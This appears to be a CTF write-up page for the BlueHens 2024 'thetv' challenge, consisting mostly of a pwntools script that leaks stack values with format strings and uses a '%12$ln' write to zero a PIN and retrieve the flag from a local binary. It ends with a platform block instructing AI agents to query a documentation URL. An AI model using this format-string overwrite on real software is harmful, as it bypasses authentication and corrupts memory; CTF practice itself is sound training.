# thetv

### Solution

```python
#!/usr/bin/env python3

from pwn import *
from termcolor import colored

exe = ELF("./thetv")
context.binary = exe

def success_flag(flag):
    print(colored("""
███████╗██╗   ██╗ ██████╗ ██████╗███████╗███████╗███████╗
██╔════╝██║   ██║██╔════╝██╔════╝██╔════╝██╔════╝██╔════╝
███████╗██║   ██║██║     ██║     █████╗  ███████╗███████╗
╚════██║██║   ██║██║     ██║     ██╔══╝  ╚════██║╚════██║
███████║╚██████╔╝╚██████╗╚██████╗███████╗███████║███████║
╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝╚══════╝╚══════╝╚══════╝
          """, color="green"))
    print("═════════════════════════════════")
    print(flag)
    print("═════════════════════════════════")
    print()


def failure():
    print(colored("""
███████╗ █████╗ ██╗██╗     ██╗   ██╗██████╗ ███████╗
██╔════╝██╔══██╗██║██║     ██║   ██║██╔══██╗██╔════╝
█████╗  ███████║██║██║     ██║   ██║██████╔╝█████╗  
██╔══╝  ██╔══██║██║██║     ██║   ██║██╔══██╗██╔══╝  
██║     ██║  ██║██║███████╗╚██████╔╝██║  ██║███████╗
╚═╝     ╚═╝  ╚═╝╚═╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝
          """, color="red"))


def conn():
    if args.REMOTE:
        print("NO")
        quit()
        #r = remote("")
    else:
        r = process([exe.path])
    return r


# a gadget to read memory
def read_mem(n):
    r = process([exe.path])
    mem = b''
    for i in range(1, n+1):
        r.sendline(b'p')
        r.sendline(("%" + str(i) + "$p").encode("ascii"))
        r.recvuntil(b'You say: ')
        leak = r.recvuntil(b'\n').strip(b'\n')
        mem += leak + b', '
    mem = mem.split(b', ')
    for i in range(len(mem)-1):
        temp =  (str(i + 1) + ": ").ljust(5, " ")
        temp += mem[i].decode("ascii")
        print(temp)


def main():
    read_mem(20)
    r = conn()

    # programming mode
    r.sendline(b'p')

    # edit pin to 0
    r.sendline(b'%12$ln')

    # channel switching mode
    r.sendline(b'c')

    # confirm
    r.sendline(b'y')

    # get the flag
    r.sendline(b'6')

    # enter the edited pin
    r.sendline(b'0')

    # throw away garbage
    r.recvuntil(b'pin in\n')

    flag = r.clean().strip(b'\n').decode("ascii")
    if flag.find("flag{") != -1:
        success_flag(flag)
    else:
        failure()

    r.close()

if __name__ == "__main__":
    main()


```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/bluehensctf/2024/thetv.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
